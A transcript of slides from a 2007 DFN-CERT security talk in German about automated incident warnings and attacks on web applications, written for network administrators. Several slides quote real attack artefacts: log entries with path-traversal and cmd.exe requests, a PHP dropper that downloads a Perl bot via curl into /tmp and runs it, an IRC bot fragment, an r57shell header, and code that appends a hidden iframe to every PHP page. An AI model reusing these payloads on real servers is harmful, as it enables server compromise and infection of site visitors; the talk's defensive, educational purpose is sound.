Neues aus dem DFN-CERT. 47. DFN-Betriebstagung - Forum Sicherheit 16. Oktober 2007 Andreas Bunten, DFN-CERT

Transkript

1 Neues aus dem DFN-CERT 47. DFN-Betriebstagung - Forum Sicherheit 16. Oktober 2007 Andreas Bunten, DFN-CERT

2 Veranstaltungen Tutorium DFN-PKI in der Praxis 22./23. Nov in München (Ismaning) Telekom Training Tagungshotel Ismaning Allgemeine Anwendungen von PKI Detaillierte Einführung in den Dienst DFN-PKI Praktische Beispiele 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 2

3 Veranstaltungen Tutorium Incident Response unter UNIX und Windows 04./05. Dez in Kassel Leitfaden zur Behandlung von Sicherheits-vorfällen Hands-On Tutorium; Live Übungen an kompromittierten Systemen Begrenzte Teilnehmerzahl 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 3

4 Veranstaltungen 15. DFN Workshop Sicherheit in vernetzten Systemen 13./14. Februar 2008 im CCH Hamburg Keynote Speaker: Dick Hardt Tutorium Praktische Rechtsfragen Programm und Anmeldung ab Mitte November online (Frühbucherrabatt) Infos & Anmeldung: DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 4

5 Agenda Neuigkeiten zum Thema Automatische Warnmeldungen Aktuelle Angriffe Beispiel: Angriffe gegen Web-Anwendungen 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 5

6 Automatische Warnmeldungen Grundlegende Idee: Das DFN-CERT sammelt Informationen zu möglichen Sicherheitsproblemen: Registrierung bei SPAM- / Security-Communities Automatisierte Suche in Foren / Listen Auswertung der Daten aus eigenen Sensoren Überführung in einheitliches Format Korrelieren und Zusammenfassen der Daten Automatische Benachrichtigung betroffener DFN-Anwender 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 6

7 Automatische Warnmeldungen 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 7

8 Automatische Warnmeldungen Statistik: 63 Einrichtungen 218 definierte Netzblöcke IPs (ca. 31.5% des X-WiN) 2234 Warnmeldungen verschickt 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 8

9 Automatische Warnmeldungen Vorfälle nach Kategorien in Prozent: 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 9

10 Automatische Warnmeldungen Anmerkungen: Manche Hochschulen bekommen auch nach Anmeldung keine Warnmeldungen Viele SPAM-Meldungen, aber auch diese sind oft wertvoll Deutlich weniger Falschmeldungen Manchmal melden wir NAT-Gateways Das betroffene System liegt i.d.r. dahinter Mit Tricks kann evtl. das System bestimmt werden Teilnahme durch Mail an: 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 10

11 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 11

12 Aktuelle Vorfälle Keine großen Überraschungen bzgl. aktueller Vorfälle: SPAM-Beschwerden Scans Account Probes Phishing Sites Angriffe auf Web-Anwendungen Angriffe auf Webbrowser Kompromittierungen Ein Vorfall oft in mehreren Kategorien! 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 12

13 Angriffe auf Web-Anwendungen Betroffen: Alle möglichen Anwendungen sind betroffen: Content Management Systeme Programme zur Logfile Analyse Programme Administrations Bulletin Boards... Prinzpiell auch alle Programmiersprachen / Frameworks betroffen Manche scheinen aber anfälliger zu sein DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 13

14 Angriffe auf Web-Anwendungen Was sind das für Schwachstellen? Buffer / Heap / Integer Overflows SQL Injection / Cross Site Scripting... Leider besonders leicht auszunutzen: Manche PHP-Anwendungen laden Code von fremden Server nach Wie finden die Angreifer meinen Server? google Portscans + Raten der Skript-Pfade 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 14

15 Angriffe auf Web-Anwendungen Wie sieht das in meinen Logs aus? GET /lib/base.php?basecfg[basedir]= GET /phpmyadmin/main.php POST /_vti_bin/_vti_aut/fp30reg.dll SEARCH /\x90\x04h\x04h\x04h\x04h\x04h\x04h\x04h\x04h... GET /scripts/root.exe?/c+dir GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 15

16 Angriffe auf Web-Anwendungen Was wird denn nachgeladen? Ein Skript das weiter nachlädt (PHP) <?php $url=" echo exec('killall -9 perl;'); echo passthru('killall -9 perl;'); echo system('killall -9 perl;'); echo shell_exec('killall -9 perl;'); echo exec('cd /tmp;curl -O '.$url.'bot.txt;perl bot.txt;rm -f bot.txt*;'); echo exec('cd /tmp;get '.$url.'bot.txt > bot.txt;perl bot.txt;rm -f bot.txt*;'); [...] 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 16

17 Angriffe auf Web-Anwendungen Was wird denn nachgeladen? Ein Bot-Skript (Perl) $servidor='irc.xxxxxxxxxx.de' unless $servidor; my $porta='6667'; own"); my $linas_max=10; my $sleep=3; my $nick = getnick(); my $ircname = getnick(); my $realname = getnick(); [...] 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 17

18 Angriffe auf Web-Anwendungen Was wird denn nachgeladen? Ein Status-Skript (PHP) <? $dir $ker echo "31337<br>"; $OS echo "<br>ostype:$os<br>"; echo "<br>kernel:$ker<br>"; $free = disk_free_space($dir); if ($free === FALSE) {$free = 0;} if ($free < 0) {$free = 0;} [...] 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 18

19 Angriffe auf Web-Anwendungen 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 19

20 Angriffe auf Web-Anwendungen Was wird denn nachgeladen? Eine Shell (PHP) <?php /******************************************************************************************************/ /* # # # # /* # # # # /* # # # # /* # ## #### ## # /* ## ## ###### ## ## /* ## ## ###### ## ## /* ## ## #### ## ## /* ### ############ ### /* ######################## /* ############## /* ######## ########## ####### /* ### ## ########## ## ### /* ### ## ########## ## ### /* ### # ########## # ### /* ### ## ######## ## ### /* ## # ###### # ## /* ## # #### # ## /* ## ## /* r57shell.php -??????????????????????????????????????????????????????????????????????? /*??????????????????????????????????????: DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 20

21 Angriffe auf Web-Anwendungen 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 21

22 Angriffe auf Web-Anwendungen Was wird denn nachgeladen? Code zum Ergänzen Ihrer Webseiten [...] $codigo = "<IFRAME src=\" width=\"0\" height=\"0\" frameborder=\"0\"> </iframe>\n"; $directorio = $_SERVER['DOCUMENT_ROOT']; foreach (glob("$directorio/*.php") as $archivo) { $fp=fopen($archivo,"a+"); fputs($fp,$codigo); } [...] Jetzt enthält jede Ihrer PHP-Seiten einen zusätzlichen iframe! 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 22

23 Angriffe auf Web-Anwendungen Was bedeutet dieser iframe? iframe: Ein Inline-Frame, der i.d.r. externe Inhalte in eine vorhandene Seite einbettet Dieser iframe ist unsichtbar Es werden Daten vom Webserver der Angreifer in den Browser des Benutzers nachgeladen! Möglichkeiten des Angreifers: Ausnutzung von Browser-Schwachstellen Installation eines Trojaners / Virus Besucher Ihrer Website werden infiziert! 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 23

24 Angriffe auf Web-Anwendungen Was kann man tun? Dynamische Inhalte vermeiden, wenn diese nicht notwendig Komplexe Web-Anwendungen auf eigene (virtuelle) Server verbannen PHP vorsichtig konfigurieren! Automatische Warnmeldungen buchen Ein erfolgreicher Angriff fällt i.d.r. durch Scans, Account Probes & Versand von SPAM auf Angriffe ans CERT melden 47. DFN-Betriebstagung, 16. Oktober 2007 / Andreas Bunten Folie 24

25 Vielen Dank für Ihre Aufmerksamkeit! Anmeldung für die Automatischen Warnmeldungen per Mail an: Weitere Informationen unter: